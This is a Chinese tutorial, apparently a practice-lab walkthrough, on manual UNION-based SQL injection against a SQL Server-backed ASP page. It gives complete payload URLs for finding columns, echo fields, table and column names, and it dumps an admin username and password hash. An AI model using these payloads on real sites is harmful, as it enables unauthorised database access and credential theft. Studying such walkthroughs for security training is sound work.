sql?server數(shù)據(jù)庫如何進行sql注入
1、判斷數(shù)據(jù)庫類型
抓包知sql server,所以注入語句跟MySQL有些區(qū)別
2、判斷注入點
“http://219.153.49.228:42514/new_list.asp?id=2 ”,當id=2 and 1=1時顯示正確,id=2 and 1=2時頁面報錯。
3、確定列數(shù)為 4
/new_list.asp?id=2 ORDER BY 1
成功/new_list.asp?id=2 ORDER BY 2
成功/new_list.asp?id=2 ORDER BY 3
失敗/new_list.asp?id=2 ORDER BY 4
成功/new_list.asp?id=2 ORDER BY 5
失敗/new_list.asp?id=2 ORDER BY 6
失敗/new_list.asp?id=2 ORDER BY 7
失敗
根據(jù)這些信息,
ORDER BY 4
成功,而ORDER BY 3
失敗,這看起來很矛盾,因為一般來說,如果ORDER BY 3
失敗,ORDER BY 4
應該也會失敗。分析原因:
SQL查詢結構: 可能你查詢的SQL語句涉及了多個表連接或者子查詢,這會導致某些列存在而其他列不存在的情況。
自定義排序: 數(shù)據(jù)庫的查詢中可能存在自定義排序邏輯,某些列可能只在特定條件下可用。
***所以sql測試中,我們需要進行更多測試以確認列數(shù)
4、判斷回顯字段
這其實還要分兩種情況:
1、回顯的字段是字符型,還是整數(shù)型或其他
數(shù)據(jù)類型匹配:
數(shù)據(jù)庫表中的列有特定的數(shù)據(jù)類型(如整數(shù)、字符串、日期等)。當注入的值與列的數(shù)據(jù)類型不匹配時,會導致SQL語法錯誤或類型錯誤。例如,如果某列期望一個字符串類型的數(shù)據(jù),而你傳入一個整數(shù),數(shù)據(jù)庫可能會報錯。SQL查詢構造:
SQL注入構造的查詢語句需要與數(shù)據(jù)庫表的結構和列類型匹配。使用單引號包裹的值通常被解釋為字符串類型,而不使用引號的值通常被解釋為數(shù)字或列名。
2、注入成功是要在頁面正常顯示情況下回顯字段,還是頁面報錯情況下才會回顯字段
正常頁面:當提供的id
值有效時,原始查詢會返回一個正常的結果集,頁面會顯示該結果。如果 UNION ALL SELECT
注入成功,并且注入的列恰好在顯示內容中,那么注入的結果可能會被id值結果覆蓋。錯誤頁面:當提供的 id
值無效時,原始查詢失敗,頁面可能顯示錯誤信息或沒有結果。在這種情況下,注入的 UNION ALL SELECT
可能成為唯一的結果集,因此被顯示出來。
思路:
①先假設為全部字段為字符型,payload:http://219.153.49.228:46552/new_list.asp?id=2 union all select '1', '2', '3', '4' 。發(fā)現(xiàn)并沒有回顯
②id=-2時,頁面報錯,所以payload:http://219.153.49.228:46552/new_list.asp?id=-2 union all select '1', '2', '3', '4'?;仫@2、3字段
到這已經(jīng)可以判斷出2、3字段是字符型,并且頁面有報錯信息時才有回顯,否則被內容覆蓋
然后判斷1、4字段類型,需要一個一個去除單引號,判斷其回顯情況
5、獲取數(shù)據(jù)庫信息
http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,user,db_name(),4
6、獲取數(shù)據(jù)表名manage
http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U'),'3',4
7、獲取列名:id、name
http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),(select top 1 col_name(object_id('manage'),2) from sysobjects),4
以此類推,獲取第3個字段,第4個字段
8、查出用戶名和密碼
用戶名:admin_mz、加密密碼:72e1bfc3f01b7583
http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select username from manage),(select password from manage),4
9、md5解密
9、總結
1、判斷數(shù)據(jù)類型是很重要的一點,影響后面的注入語句
2、確定列數(shù)時,要多測幾組數(shù)據(jù),從而分析判斷列數(shù),并不是遇到第一個報錯就停止測試
3、正常網(wǎng)頁(例如id=1,參數(shù)正確)沒有注入回顯時,試試報錯情況(id=-1),注入回顯有可能被正常返回數(shù)據(jù)覆蓋
4、注入回顯的字段有可能整形、字符、小數(shù)等,注意是否需要單引號
5、最好先全部統(tǒng)一會先字段類型,比如全部整形,挨個輪流改變?yōu)樽址?/p>
到此這篇關于sql server數(shù)據(jù)庫如何進行sql注入的文章就介紹到這了,更多相關sql server數(shù)據(jù)庫sql注入內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!
相關文章
SQL where條件和jion on條件的詳解及區(qū)別
這篇文章主要介紹了SQL where條件和jion on條件的詳解及區(qū)別的相關資料,這里舉例說明該如何區(qū)分,需要的朋友可以參考下2016-12-12